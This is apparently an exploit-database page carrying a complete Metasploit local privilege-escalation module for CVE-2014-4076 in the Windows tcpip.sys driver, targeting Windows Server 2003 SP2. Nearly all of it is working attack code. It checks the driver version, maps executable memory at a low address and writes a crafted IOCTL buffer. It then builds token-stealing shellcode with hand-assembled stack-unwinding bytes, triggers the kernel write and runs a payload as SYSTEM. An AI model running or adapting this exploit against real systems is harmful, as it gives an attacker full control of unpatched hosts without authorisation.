Windows tcpip.sys Arbitrary Write Privilege Escalation



EKU-ID: 4584 CVE: 2014-4076 OSVDB-ID:
Author: Jay Smith Published: 2015-02-06 Verified: Verified
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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/local/windows_kernel'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Exploit::Local::WindowsKernel
  include Msf::Post::File
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process

  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'Windows tcpip.sys Arbitrary Write Privilege Escalation',
      'Description'    => %q{
        A vulnerability within the Microsoft TCP/IP protocol driver tcpip.sys,
        can allow an attacker to inject controlled memory into an arbitrary
        location within the kernel.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC
          'Jay Smith <jsmith[at]korelogic.com>' # MSF module
        ],
      'Arch'          => ARCH_X86,
      'Platform'      => 'win',
      'SessionTypes'  => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Targets'       =>
        [
          ['Windows Server 2003 SP2',
            {
              '_KPROCESS' => "\x38",
              '_TOKEN' => "\xd8",
              '_UPID' => "\x94",
              '_APLINKS' => "\x98"
            }
          ]
        ],
      'References'    =>
        [
          ['CVE', '2014-4076'],
          ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt']
        ],
      'DisclosureDate'=> 'Nov 11 2014',
      'DefaultTarget' => 0
    }))

  end

  def check
    if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
      return Exploit::CheckCode::Safe
    end

    handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
    return Exploit::CheckCode::Safe unless handle

    session.railgun.kernel32.CloseHandle(handle)

    file_path = get_env('WINDIR') << "\\system32\\drivers\\tcpip.sys"
    unless file?(file_path)
      return Exploit::CheckCode::Unknown
    end

    major, minor, build, revision, branch = file_version(file_path)
    vprint_status("tcpip.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")

    if ("#{major}.#{minor}.#{build}" == "5.2.3790" && revision < 5440)
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    if is_system?
      fail_with(Exploit::Failure::None, 'Session is already elevated')
    end

    if sysinfo["Architecture"] =~ /wow64/i
      fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
    elsif sysinfo["Architecture"] =~ /x64/
      fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
    end

    unless check == Exploit::CheckCode::Vulnerable
      fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
    end

    handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
    if handle.nil?
      fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device")
    end

    print_status("Storing the shellcode in memory...")
    this_proc = session.sys.process.open

    session.railgun.ntdll.NtAllocateVirtualMemory(-1, [0x1000].pack('V'), nil, [0x4000].pack('V'), "MEM_RESERVE|MEM_COMMIT", "PAGE_EXECUTE_READWRITE")

    unless this_proc.memory.writable?(0x1000)
      fail_with(Failure::Unknown, 'Failed to allocate memory')
    end

    buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00"

    sc  = token_stealing_shellcode(target, nil, nil, false)
    # move up the stack frames looking for nt!KiSystemServicePostCall
    sc << "\x31\xc9"                     # xor ecx, ecx
    sc << "\x89\xeb"                     # mov ebx, ebp
    # count_frames
    sc << "\x41"                         # inc ecx
    sc << "\xf7\x43\x04\x00\x00\x00\x80" # test dword [ebx+4], 0x80000000
    sc << "\x8b\x1b"                     # mov ebx, dword [ebx]
    sc << "\x75\xf4"                     # jne short count_frames
    sc << "\x49"                         # dec ecx
    # loop_frames
    sc << "\x49"                         # dec ecx
    sc << "\x89\xec"                     # mov esp, ebp
    sc << "\x5d"                         # pop ebp
    sc << "\x83\xf9\x00"                 # cmp ecx, 0
    sc << "\x75\xf7"                     # jne loop_frames
    sc << "\x31\xc0"                     # xor eax, eax
    sc << "\xc3"                         # ret

    this_proc.memory.write(0x28, "\x87\xff\xff\x38")
    this_proc.memory.write(0x38, "\x00\x00")
    this_proc.memory.write(0x1100, buf)
    this_proc.memory.write(0x2b, "\x00\x00")
    this_proc.memory.write(0x2000, sc)

    print_status("Triggering the vulnerability...")
    session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x00120028, 0x1100, buf.length, 0, 0)
    #session.railgun.kernel32.CloseHandle(handle) # CloseHandle will never return, so skip it

    print_status("Checking privileges after exploitation...")

    unless is_system?
      fail_with(Failure::Unknown, "The exploitation wasn't successful")
    end

    print_good("Exploitation successful!")
    unless execute_shellcode(payload.encoded, nil, this_proc.pid)
      fail_with(Failure::Unknown, 'Error while executing the payload')
    end
  end

end